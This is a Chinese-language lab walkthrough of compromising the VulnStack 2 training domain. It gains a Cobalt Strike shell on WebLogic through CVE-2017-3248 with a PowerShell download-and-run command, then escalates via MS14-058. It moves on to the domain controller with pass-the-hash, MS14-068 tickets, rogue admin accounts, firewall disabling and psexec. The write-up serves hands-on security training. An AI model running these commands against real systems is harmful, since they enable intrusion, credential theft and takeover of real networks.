闲来无事,跟着大佬思路做下!!!

环境说明

靶机链接:http://vulnstack.qiyuanxuetang.net/vuln/detail/3/

内网网段:10.10.10.1/24

DMZ网段:192.168.111.1/24

测试机地址:192.168.111.1(Windows),192.168.111.11(Linux)

防火墙策略(策略设置过后,测试机只能访问192段地址,模拟公网访问):

1
2
deny all tcp ports:10.10.10.1
allow all tcp ports:10.10.10.0/24

DC

IP:10.10.10.10 OS:Windows 2012(64)

应用:AD域

WEB

IP1:10.10.10.80 IP2:192.168.111.80 OS:Windows 2008(64)

应用:Weblogic 10.3.6 MSSQL 2008

PC

IP1:10.10.10.201 IP2:192.168.111.201 OS:Windows 7(32)

应用:

攻击机

IP:192.168.111.1 OS:Windows 10(64)

IP:192.168.111.11 OS:Parrot(64)

一些名词概念

DMZ

英文为demilitarized zone,中文名称为“隔离区”,也称“非军事化区”,是指内外网防火墙之间的区域,DMZ区是一个缓冲区,在DMZ区存放着一些公共服务器,比如论坛等。

DMZ的特点如下:

  • 内网可以访问外网,内网的用户需要自由地访问外网。在这一策略中,防火墙需要执行NAT。

  • 内网可以访问DMZ,此策略使内网用户可以使用或者管理DMZ中的服务器。

  • 外网不能访问内网,这是防火墙的基本策略了,内网中存放的是公司内部数据,显然这些数据是不允许外网的用户进行访问的。如果要访问,就要通过VPN方式来进行。

  • 外网可以访问DMZ,DMZ中的服务器需要为外界提供服务,所以外网必须可以访问DMZ。同时,外网访问DMZ需要由防火墙完成对外地址到服务器实际地址的转换。

  • DMZ不能访问内网,如不执行此策略,则当入侵者攻陷DMZ时,内部网络将不会受保护。 

  • DMZ不能访问外网,此条策略也有例外,比如我们的例子中,在DMZ中放置邮件服务器时,就需要访问外网,否则将不能正常工作。

活动目录(Active Directory)主要是指是面向Windows Server的目录服务。(Active Directory不能运行在Windows Web Server上,但是可以通过它对运行Windows Web Server的计算机进行管理。)Active Directory存储了有关网络对象的信息,并且让管理员和用户能够轻松地查找和使用这些信息。Active Directory使用了一种结构化的数据存储方式,并以此作为基础对目录信息进行合乎逻辑的分层组织。

DC

域控制器( Domain controller,DC)是活动目录的存储位置,安装了活动目录的计算机称为域控制器。

网络配置

在虚拟网络配置器里增加一个网卡 这里添加的是VMnet2 设置如下:

image-20201225230954947

注意将主机虚拟适配器连接到此网络取消勾选 子网ip设置为10.10.10.0

接着修改下NAT的网段 改成192.168.111.0

image-20201225231225233

各靶机的连接情况:

1
2
3
DC  	==>   VMnet2
WEB ==> VMnet2 NAT
PC ==> VMnet2 NAT

关于网络设置 我也不是很懂 web那个是dmz按理说不能出网的 但不出网又没法反弹shell

拿下web机器

weblogic到cs上线

web机器上的weblogic服务默认没有开启 找到C:\Oracle\Middleware\user_projects\domains\base_domain\bin目录 右键以管理员身份运行startWebLogic.bat

访问:http://192.168.111.80:7001/

image-20201225231418989

使用GitHub上覆盖漏洞最多最全的检测工具:https://github.com/0xn0ne/weblogicScanner 这个是基于star最多的那个并进行了bug修复,提高了准确性

开一个kali NAT连接网络作为攻击机 克隆下来 检测目标

image-20201225233333122

发现确实存在不少漏洞 但是不太明显具体哪个洞 使用grep筛选一下

image-20201225233447691

这个靶场是比较老的 考虑到当时可能还没有这些新洞 所以我们使用老洞进行打

就拿第一个CVE-2017-3248来弄吧 参考:https://www.anquanke.com/post/id/225137

首先要准备两个东西 java反序列化工具ysoserial Github:https://github.com/frohoff/ysoserial

直接下载打包好的jar文件:https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar

这个工具路径需要全为英文

另外一个就是exploit-db上的poc:https://www.exploit-db.com/exploits/44553

先测试下能不能用 宿主机起一个JRMP服务

image-20201226094517025

kali使用poc攻击

image-20201226094558615

可以看到已经能命令执行

image-20201226094640763

尝试用powershell反弹cs 这里我在kali起cs 宿主机作为客户端控制cs 先开启cs

image-20201226164334727

image-20201226164357792

先新建一个监听器

image-20201226164522752

生成payload 选择:

image-20201226164820686

由于命令太长 这里在宿主机起一个web服务 直接使用python起一个

1
python -m http.server 8000

image-20201226165953315

继续使用那个脚本来进行命令执行 这里要执行的命令就是 即从远程加载powershell命令执行

1
powershell.exe iex (new-object net.webclient).downloadstring('http://192.168.111.1:8000/payload.txt')

image-20201226170434860

所有环境都准备好了 开打

image-20201226170648200

image-20201226170714556

image-20201226170730755

image-20201226170837455

看到有请求发送 cs也可以上线 当前权限为Administrator 尝试使用getsystem命令失败

image-20201226172057778

提权

systeminfo查看系统信息

image-20201226211106957

发现系统为

1
Microsoft Windows Server 2008 R2 Standard

补丁就三个 应该好提权

1
2
3
[01]: KB2999226
[02]: KB958488
[03]: KB976902

为了方便直接使用cs的插件提权:https://github.com/pandasec888/taowu-cobalt-strike

image-20201226211720390

直接用ms14-058 可以看到已经收到一个system的会话 提权成功

下面再介绍一些技巧

cs/msf会话互转

cs会话转msf

msf监听

1
handler -H 192.168.111.128 -P 4444 -p windows/meterpreter/reverse_http

image-20201226174625705

cs增加会话 新增一个监听器 ip端口填对应就行

image-20201226174414270

选中目标 选中监听器确定就行

image-20201226174549128

这边msf已经接收到会话

image-20201226174732139

或者选择spawn as

image-20201227182414375

选择对应的监听器

image-20201227182442154

msf会话转cs

1
2
3
4
5
6
7
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set session 1
set lhost 192.168.111.128
set lport 369
set disablepayloadhandler true
run

image-20201226181358581

可以看到cs里已经收到会话

image-20201226181423021

拿下域控

现在我们已经有一台机器的shell了 想怎么拿到域控的权限?接着就是后渗透部分了

域内信息收集

判断web机器是否在域内 如下命令:

可以查看主机所有网卡的获取到的ip地址 一般情况下某个网段的dns服务器就是域控

1
ipconfig /all

信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
net view /domain                                 # 查看所有域
net time /domain #查看域内时间 会列出时间服务器 即域控
ping -n 1 DC -4 #获取域控ip地址

net user /domain #查看域用户
dsquery user #查看域用户
net group /domain #查询域组名称
net group "Domain Admins" /Domain #查询域管理员
net group "Domain Controllers" /domain #查询域控


# 添加普通域用户
net user lemon iam@L3m0n /add /domain
# 将普通域用户提升为域管理员
net group "Domain Admins" lemon /add /domain
# 查询所有计算机名称
net group "Domain Computers" /domain

# 查看共享
net view \\10.10.10.10

image-20201226212019678

image-20201226212831005

image-20201226212706841

image-20201226212953380

image-20201226223213140

端口扫描

image-20201227175324023

发现存活主机

image-20201227175544967

在这可以看到

image-20201227184533845

横向移动

代理转发

首先设置代理 直接使用cs sock4代理

image-20201226224551497

kali proxychains设置代理 修改/etc/proxychains.conf

image-20201226224841142

使用代理打开火狐浏览器 访问127.0.0.1:7001 发现是weblogic的页面说明已经成功代理出来

1
proxychains firefox

image-20201226225412932

使用代理使用nmap对域控10.10.10.10进行扫描 扫描发现存在ms17-010漏洞

image-20201226230803732

这时候就有一个问题了 由于域控只有一个网卡 并且是host only模式 所以没办法直接反弹shell 需要让web机器做跳转 这个问题我们后面再说 先看看怎么把马传到域控上并执行

Pass the Hash

首先我们可以使用logonpasswords抓取下明文密码 几个用户的密码都是这个

image-20201227001151284

在默认情况下,当系统为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,密码字段显示为null,此时可以通过以下方式开启,但需要用户重新登录后才能成功抓取。但是目标系统为Windows 2008(64),因此可以抓到明文密码

再说说Pass the Hash,哈希传递(pth)攻击是指攻击者可以通过捕获密码的hash值(对应着密码的值),然后简单地将其传递来进行身份验证,以此来横向访问其他网络系统。

直接使用cs里面的pth命令 用法:

1
pth domain\user NTLM

直接列下dc上的文件shell dir \\DC.de1ay.com

image-20201227115803891

提示拒绝访问 我们需要制作令牌

使用明文密码

image-20201227120102729

使用hash

image-20201227002817926

image-20201227003050858

image-20201227120511013

image-20201227120525412

Pass the Ticket

这里使用ms14-068攻击 对应CVE-2014-6324 当拿到了一个普通域成员的账号后,想继续对该域进行渗透,如果域控服务器存在MS14_068漏洞,并且未打补丁,那么我们就可以利用MS14_068快速获得域控服务器权限 对应补丁号为kb3011780 可以从systeminfo获取 也可以使用

1
wmic qfe get hotfixid

接下来使用的工具叫PyKEK 是一个利用 Kerberos 协议进行渗透测试的工具包 地址:https://github.com/mubix/pykek 下载下来

可以使用 PyKEY 可以生成一张高权限的服务票据,并通过 mimikatz 将服务票据注入内存。

先查看本地de1ay的sid

1
whoami /user

image-20201227141212789

或者

1
wmic useraccount get name,sid

image-20201227141825575

查看域用户 需要system权限查看

image-20201227142617036

尝试使用de1ay用户制作票据

1
proxychains python ms14-068.py -u de1ay@de1ay.com -s S-1-5-21-3767205380-3469466069-2137393323-500 -d 10.10.10.10 -p '1qaz@WSX'

image-20201227142857497

使用 KrbCredExport进行转换

1
python KrbCredExport.py ../pykek/TGT_de1ay@de1ay.com.ccache de1ay.ticket

用cs将票据注入内存中 先清除之前的凭证

1
2
kerberos_ticket_purge
kerberos_ticket_use D:\de1ay.ticket

image-20201227144025986

image-20201227144411415

不知道为啥不行 换成exe也不行 哭了 过段时间再研究吧 后来发现换成ip就行了 哭了

image-20201227164803317

加用户Administrator不行 system可以 domain还要大写

image-20201227165154175

image-20201227165252966

加到管理员组

image-20201227165559377

IPC连接

假设现在我们现在已经增加一个用户了 实际并没 只能使用默认账户 我们可以使用ipc连接将马传上去 不知道为啥sysytem权限的会话可以直接列目录

1
2
shell net use \\10.10.10.10\c$ P@ssword /user:hacker
shell dir \\DC.de1ay.com\c$

image-20201227162903406

关闭连接的话使用

1
shell net use \\10.10.10.10\c$ /del

关闭防火墙

1
netsh advfirewall set allprofiles state off

新建一个中转

image-20201227163835443

使用cs生成exe

image-20201227163127976

使用shell的copy命令将马拷到dc上

1
shell copy C:\Windows\Temp\artifact.exe \\10.10.10.10\c$\windows\temp\1.exe

image-20201227163701364

cs设置监听 使用wmic执行木马

1
shell wmic /node:10.10.10.10 /user:hacker /password:P@ssword process call create "C:\Windows\Temp\1.exe"

但是这样貌似不行

psexec

增加一个中转

image-20201227190228378

目标 psexec

image-20201227190255007

监听器选择中转

image-20201227190405764

域控上线

image-20201227190422985

同样的方式pc也能上线 全部上线截图

image-20201227190535767

image-20201227190607186

参考:

https://www.anquanke.com/post/id/193193

https://wh0ale.github.io/2019/12/11/VulnStack%E5%9F%9F%E7%8E%AF%E5%A2%83%E9%9D%B6%E5%9C%BA%E6%B8%97%E9%80%8F/

http://akevin.cn/index.php/archives/985/

https://yoga7xm.top/2019/12/03/vulnstack2/

https://xz.aliyun.com/t/8690

https://cyzcc.vip/2020/07/14/Vulnstack%E4%BA%8C/

评论